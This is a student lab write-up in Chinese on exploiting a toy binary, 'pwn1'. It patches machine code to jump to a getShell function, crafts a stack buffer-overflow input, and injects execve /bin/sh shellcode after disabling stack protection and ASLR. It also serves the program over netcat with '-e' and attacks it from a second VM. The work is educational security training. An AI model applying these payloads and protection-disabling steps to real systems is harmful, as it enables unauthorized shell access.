Exp1 PC平台逆向破解
一、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
- 注入一个自己制作的shellcode并运行这段shellcode
-
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码
二、基础知识
Ⅰ.基本X86汇编指令
NOP:0x90 空指令
JNE:0x75 不等则跳转
JE:0x74 等于则跳转
CMP:0x39 比较(目的操作数减去源操作数)
JMP:Short Jump(短跳转):0xEB Near Jump(近跳转):0xE9 Far Jump(远跳转):0xEA
Ⅱ.反汇编与十六进制编程器
反汇编
反汇编指令:objdump -d (文件名)| more
objdump -d:将代码段反汇编
"|" 管道符:命令A|命令B,即命令A的正确输出作为命令B的操作对象
more:使文件以一页一页的形式显示,更方便使用者逐页阅读
十六进制编程器
进入vi/vim编辑器后按esc后输入:%!xxd将显示模式切换为16进制模式
编辑完成后按esc后输入:%!xxd -r将转换16进制为原格式
或者
使用wxHexEditor编辑器
终端中键入sudo apt-get install wxhexeditor
最终结果如下图:
三、直接修改程序机器指令,改变程序执行流程
Ⅰ.实验步骤
1.下载pwn1文件,可以通过共享文件夹或者拖拽放入kali虚拟机中,反汇编
objdump -d pwn1 | more
2.回车找到main函数所在地
3.直接修改可执行文件的指令使其弹出shell
cp pwn1 pwn2
vim -b pwn2(用vi打开是空的)
按ESC键
:%!xxd
/d7
修改d7为c3
:%!xxd -r
:wq
4.查看修改后的结果
objdump -d pwn2 | more
5.验证功能
./pwn2
Ⅱ.原理分析
main函数调用foo,对应机器指令为“ e8 d7ffffff”,
现在需要调用getShell,只要修改“d7ffffff”为,"getShell-80484ba(下条指令的地址)"对应的补码就行。
804847d-80484ba的补码为c3ffffff。
因此需要将call指令的目标地址由d7ffffff变为c3ffffff。
四、通过构造输入参数,造成BOF攻击,改变程序执行流
Ⅰ.实验步骤
1.构造并验证输入参数
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
xxd input
Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中
2.运行验证
(cat input; cat) | ./pwn1
Ⅱ.原理分析
1.通过试验确定覆盖返回地址的位置
gdb pwn1
r
1111111122222222333333334444444455555555
通过观察可发现 eip寄存器被试验字符串中的5覆盖(0x35在ascii码中代表数字5),同理ebp寄存器被4覆盖,而其他寄存器看起来无异常,可以推测缓冲区预留了28字节空间,而28字节后的“44445555”分别覆盖了ebp寄存器和eip寄存器的值
2.验证eip覆盖的位置
gdb pwn1
r
1111111122222222333333334444444412345678
通过观察可发现eip寄存器被“4321”覆盖,因此可以确定构造参数的第33字节到36字节会覆盖eip寄存器,因此只要将getshell的地址写入这四个字节就可以实现弹出shell,由于kali系统是小端系统,构造的输入参数为"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"
3.通过汇编代码验证上述结论
0x1c=28,通过lea命令预留了28字节的空间,所以28字节之后的内容都会溢出
五、注入Shellcode并执行
Ⅰ.实验步骤
1.设置栈可执行
execstack -s pwn1
2.关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space
"more /proc/sys/kernel/randomize_va_space"用于查询randomize_va_space的值,2为完全随机,0为关闭状态,"execstack -q pwn1"用于查询pwn1是否可执行,X为可执行
3.构造shellcode并执行
perl -e 'print "A"x32;print"\x60\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\
x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"'>input_shellcode
xxd input_shellcode
(cat input_shellcode; cat) | ./pwn1
前四个字节"\x60\xd1\xff\xff"为shellcode的位置
Ⅱ.shellcode地址
1.在终端1运行pwn1
(cat input_shellcode;cat) | ./pwn1
input_shellcode前四字节可以用NOP填充
2.在终端2调试
ps -ef | grep pwn1
gdb
attach 33724
disassemble foo
break *0x080484ae
c
info r esp
得到pwn1的进程号为33724,利用GDB调试foo函数,在其返回地址设置断点,查看栈顶指针的值,加0x4即为shellcode的地址,即为0xffffd15c+0x4=0xffffd160,填入shellcode的前四字节
Ⅲ.execstack命令出错的解决方案
以上报错可通过安装prelink解决
1.换源(已换的可以忽略此步)
cd /etc/apt
vim sources.list
把默认源换为中科大的源:
deb http: //mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http: // mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
2.更新
sudo apt update
sudo apt upgrade
3.下载prelink
sudo apt-get install prelink
如果无法定位软件包,可以去手动下载prelink的压缩包,安装
tar -xvf prelink_0.0.20130503.orig.tar.bz2
sudo apt-get install libelf-dev
cd prelink
./configure
make
sudo make install
六、结合nc模拟远程攻击
Ⅰ.实验步骤
1.在目标虚拟机中打开端口监听
nc -l 192.168.31.128 -p 11204 -e ./pwn1
IP地址为本机
2.在本机上攻击获取shell
(cat input; cat) | nc 192.168.31.229 11204
IP地址为目标主机
Ⅱ.问题
Ncat: bind to 192.168.31.127:31337: Cannot assign requested address. QUITTING.
目标机在执行
nc -l 192.168.31.127 -p 50000 -e ./pwn1
时报错,未解决
Ⅲ.已解决的问题
1.两台虚拟机在同一局域网内,均使用桥接网卡可以互相ping通,就可以做上述实验了,设置桥接网卡需要关闭虚拟机;执行命令时需要管理员权限
2.虚拟机增强功能报错Kernel headers not found for target kernel 4.19.0-6-amd64. Please install them and execute
解决apt install build-essential linux-headers-`uname -r`
七、实验收获与感想
Ⅰ.实验收获与感想
经过本次实验我对缓冲区溢出有了更深入的了解,之前虽然也学过缓冲区溢出,但是还是对汇编指令,shellcode的生成,缓冲区溢出构造的方法没有很深入的理解,通过实验的亲自体验,我基本掌握了寻找攻击地址的方法,有一定构造shellcode的能力,对栈的执行,栈上的指针有了更深入的了解,这提醒了我在未来的工作学习中重视缓冲区溢出的危害,尽力避免代码中出现这样的漏洞。
Ⅱ.什么是漏洞?漏洞有什么危害?
漏洞专指安全方面的问题,大部分是有可能被利用的,原因可以是bug,或者是是产品的设计缺陷导致的,(也可能设计本意如此)。常见的漏洞有操作系统漏洞、服务器漏洞、服务器软件漏洞、网页系统漏洞等。
漏洞的危害:对大型网站来讲会暴露服务器的信息,使攻击者能够通过泄露的信息入侵;对服务器的安全收到影响,例如:执行任意系统命令;让攻击者能直接控制目标服务器,数据库脱库、删库等,可能会因被攻击而停止服务,可能会被恶意篡改;对用户而言会暴露个人的隐私信息,比如说账号密码,家庭住址等等。